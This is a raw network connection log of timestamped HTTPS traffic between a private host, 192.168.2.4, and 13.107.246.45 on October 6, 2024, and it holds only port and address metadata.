Oct 6, 2024 22:33:27.784584045 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.784590006 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.796113014 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.797223091 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.797240973 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.797799110 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.797805071 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.857712984 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.858558893 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.858613014 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.859215975 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.859227896 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.882975101 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.883230925 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.883276939 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.883291006 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.883344889 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.883650064 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.883691072 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.883718014 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.883733034 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.890646935 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.890738010 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.890821934 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.891151905 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.891175032 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.901628017 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.901983023 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.902040958 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.902470112 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.902487993 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.902501106 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.902510881 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.906615973 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.906626940 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.906799078 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.908184052 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.908207893 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.962872028 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.962928057 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.963105917 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.964023113 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.964046001 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.964070082 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.964082956 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.975239992 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.975311041 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.975404024 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.978470087 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.978502035 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.358503103 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.420229912 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.442606926 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.493984938 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.544483900 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.544506073 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.545013905 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.545020103 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.572046041 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.574341059 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.582984924 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.582998991 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.583597898 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.583606005 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.595577955 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.595616102 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.596103907 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.596117973 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.596431971 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.596445084 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.596852064 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.596860886 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.644294977 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.644319057 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.644364119 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.644383907 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.644421101 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.644720078 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.644737005 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.644748926 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.644757032 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.652507067 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.652539968 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.652595043 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.656543970 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.656563997 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.666965008 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.667401075 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.667417049 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.667833090 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.667839050 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.694849014 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.695092916 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.695152044 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.695286989 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.695311069 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.695327997 CEST	49874	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.695334911 CEST	443	49874	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.697463036 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.697612047 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.697654963 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.697706938 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.697735071 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.697741985 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.697758913 CEST	49873	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.697763920 CEST	443	49873	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.698483944 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.698508978 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.698559999 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.698668957 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.698674917 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.699937105 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.699951887 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.700004101 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.700058937 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.700120926 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.700166941 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.700181007 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.700191975 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.700213909 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.700213909 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.700231075 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.700242996 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.702341080 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.702361107 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.702430964 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.702604055 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.702617884 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.771158934 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.771275997 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.771318913 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.771338940 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.771377087 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.771532059 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.771547079 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.771564007 CEST	49875	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.771570921 CEST	443	49875	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.773848057 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.773874998 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:28.775096893 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.775243044 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:28.775254011 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.301141024 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.301795006 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.301820993 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.302423954 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.302432060 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.333241940 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.333678961 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.333694935 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.334207058 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.334211111 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.346730947 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.347090960 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.347106934 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.347639084 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.347645044 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.375893116 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.378153086 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.378168106 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.378688097 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.378694057 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.400630951 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.400741100 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.400799036 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.401690006 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.401710987 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.401730061 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.401736975 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.404400110 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.404444933 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.404517889 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.404650927 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.404664993 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.437881947 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.439562082 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.444199085 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.444277048 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.446758986 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.446783066 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.447359085 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.447364092 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.447530985 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.447551966 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.447562933 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.447570086 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.447861910 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.447945118 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.447987080 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.447993994 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.448004961 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.448055983 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.448393106 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.448400021 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.448414087 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.448417902 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.452735901 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.452773094 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.452833891 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.453640938 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.453665018 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.453722000 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.453792095 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.453810930 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.453887939 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.453901052 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.481408119 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.482789040 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.482856989 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.482953072 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.482953072 CEST	49879	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.482969999 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.482981920 CEST	443	49879	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.485681057 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.485694885 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.485749006 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.485878944 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.485891104 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.549763918 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.550265074 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.550326109 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.550369024 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.550375938 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.550403118 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.550406933 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.553414106 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.553453922 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:29.553529024 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.553675890 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:29.553692102 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.053122997 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.053814888 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.053843975 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.054474115 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.054483891 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.086952925 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.087460995 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.087481022 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.088018894 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.088036060 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.115122080 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.115525007 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.115554094 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.116067886 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.116071939 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.153529882 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.153565884 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.153621912 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.153636932 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.153667927 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.153906107 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.153925896 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.153939009 CEST	49881	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.153947115 CEST	443	49881	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.157484055 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.157516956 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.157598972 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.157758951 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.157772064 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.161251068 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.161581039 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.161595106 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.162122011 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.162127018 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.186053991 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.186321020 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.186367989 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.186368942 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.186412096 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.186460018 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.186475039 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.186491013 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.186497927 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.189431906 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.189457893 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.189529896 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.189671993 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.189682961 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.219507933 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.219587088 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.219710112 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.220118046 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.220130920 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.220146894 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.220153093 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.223536968 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.230212927 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.230247974 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.230679989 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.230685949 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.231614113 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.231625080 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.231681108 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.231806993 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.231816053 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.266030073 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.266231060 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.266323090 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.266355038 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.266362906 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.266377926 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.266381979 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.269200087 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.269232035 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.269301891 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.269443989 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.269455910 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.325805902 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.325860977 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.326098919 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.326153994 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.326167107 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.326226950 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.326232910 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.328912020 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.328929901 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.329010010 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.329148054 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.329164028 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.819935083 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.823956013 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.823986053 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.824460983 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.824465990 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.851114988 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.851855993 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.851874113 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.852264881 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.852271080 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.879898071 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.884339094 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.884356022 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.922980070 CEST	443	49886	13.107.246.45	192.168.2.4
